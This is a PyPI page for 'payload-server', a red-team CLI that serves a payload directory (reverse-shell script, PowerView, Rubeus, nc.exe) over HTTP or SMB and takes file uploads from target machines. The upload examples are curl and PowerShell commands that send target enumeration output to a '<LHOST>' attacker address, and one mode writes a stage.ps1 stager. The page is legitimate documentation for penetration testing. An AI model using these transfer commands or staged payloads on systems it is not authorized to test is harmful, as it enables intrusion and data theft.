payload-server
payload-server is a CLI for serving a local payload directory over HTTP or
SMB, receiving uploaded files over HTTP, and generating copyable transfer
targets during pentest and red-team workflow.
It is designed to pair cleanly with artifact-locker pull:
artifact-locker pull
payload-server linux
payload-server windows 8000 443
By default it serves ~/tools/payloads:
~/tools/payloads/
├── linux/
│ └── pspy64
└── windows/
├── Invoke-ConPtyShell.ps1
├── PowerView.ps1
├── Rubeus.exe
├── RunasCs.exe
└── nc.exe
Uploads are stored separately under ~/tools/uploads/<mode>/<source-ip>/.
Install
Preferred:
pipx install payload-server
Upgrade:
pipx upgrade payload-server
Uninstall:
pipx uninstall payload-server
For local development:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -e .
Usage
Use payload-server when you want to:
- serve a local payload directory over HTTP
- receive files back from targets over HTTP
- optionally expose the same directory over SMB
- save the active serving context for follow-on commands
- select a currently served file and copy its HTTP URL, SMB path, or local path
Serve Linux payloads over HTTP:
payload-server linux
Serve Windows payloads and write stage.ps1 into the Windows payload root:
payload-server windows 8000 443
Use SMB instead of HTTP:
payload-server windows --smb
Reuse the active serving context:
payload-server status
payload-server pick http
payload-server pick smb # requires an active state started with --smb
payload-server pick local
payload-server pick ask
Upload examples:
curl -X POST --data-binary @/tmp/linpeas.out "http://<LHOST>:8000/upload?name=linpeas.out"
powershell -c "iwr -Method POST -InFile winpeas.out -Uri 'http://<LHOST>:8000/upload?name=winpeas.out'"
Behavior
- Detects
tun0,tun1,wg0,tap0, theneth0forLHOST - Writes serving state to
~/.local/state/payload-server/state.json - Uses a fuzzy built-in HTTP server by default
- Accepts uploads at
/upload - Writes uploads outside the payload tree and groups them by source IP
- Supports
--updogand--plain-httpas alternate HTTP backends - Uses
impacket-smbserverorsmbserver.pywhen--smbis enabled
Optional Runtime Tools
Some features depend on tools that are discovered at runtime instead of being hard install requirements:
rofifor interactive pickingwl-copy,xclip, orxselfor clipboard copytreefor compact directory previewsupdogfor the alternate HTTP backendimpacket-smbserverorsmbserver.pyfor SMB servingipfor interface and route basedLHOSTdetection
If those tools are absent, the related feature fails with a direct error message while the rest of the CLI remains usable.
Relationship To artifact-locker
payload-server does not ship payloads. It serves a user-managed local
directory. The intended workflow is:
- Curate and publish with
artifact-locker - Pull the approved mirror locally with
artifact-locker pull - Serve the synced directory with
payload-server
Current artifact-locker builds keep the local payload tree flat
(/windows/winpeas.exe, /windows/PowerView.ps1). payload-server
now treats that flat tree as the primary layout. The fuzzy server still
understands older caches that used nested directories, so short paths
continue to work during migration.
Tests
./scripts/test.sh
Release
./scripts/release.sh patch
Release files for payload-server 0.1.6
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| payload_server-0.1.6.tar.gz | 13.9 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| payload_server-0.1.6-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 25.2 kB
Release files / payload_server-0.1.6.tar.gz
| Download URL | payload_server-0.1.6.tar.gz |
|---|---|
| Size | 13.9 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
c7ba8a5fbda09ffc6411950f3877692f0bde4826bb5f70a6003ed40852fd41a1
|
|
BLAKE2b-256 checksum How to use checksums |
fe4f5cbeb7acee7c7fce5c3b1dd360623dd06bdf7add8d55e50aed163a3566ed
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 25, 2026.
Transparency logRelease files / payload_server-0.1.6-py3-none-any.whl
| Download URL | payload_server-0.1.6-py3-none-any.whl |
|---|---|
| Size | 11.3 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
134ec3c5decfbf7d18f604305f0d430b1ba918d9d761aa39ecf61b024334a0fa
|
|
BLAKE2b-256 checksum How to use checksums |
2c852fea23e0238c294a50b780cd1a05448006a0db797705b8afa37c8d796829
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/6.1.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Jul 25, 2026.
Transparency log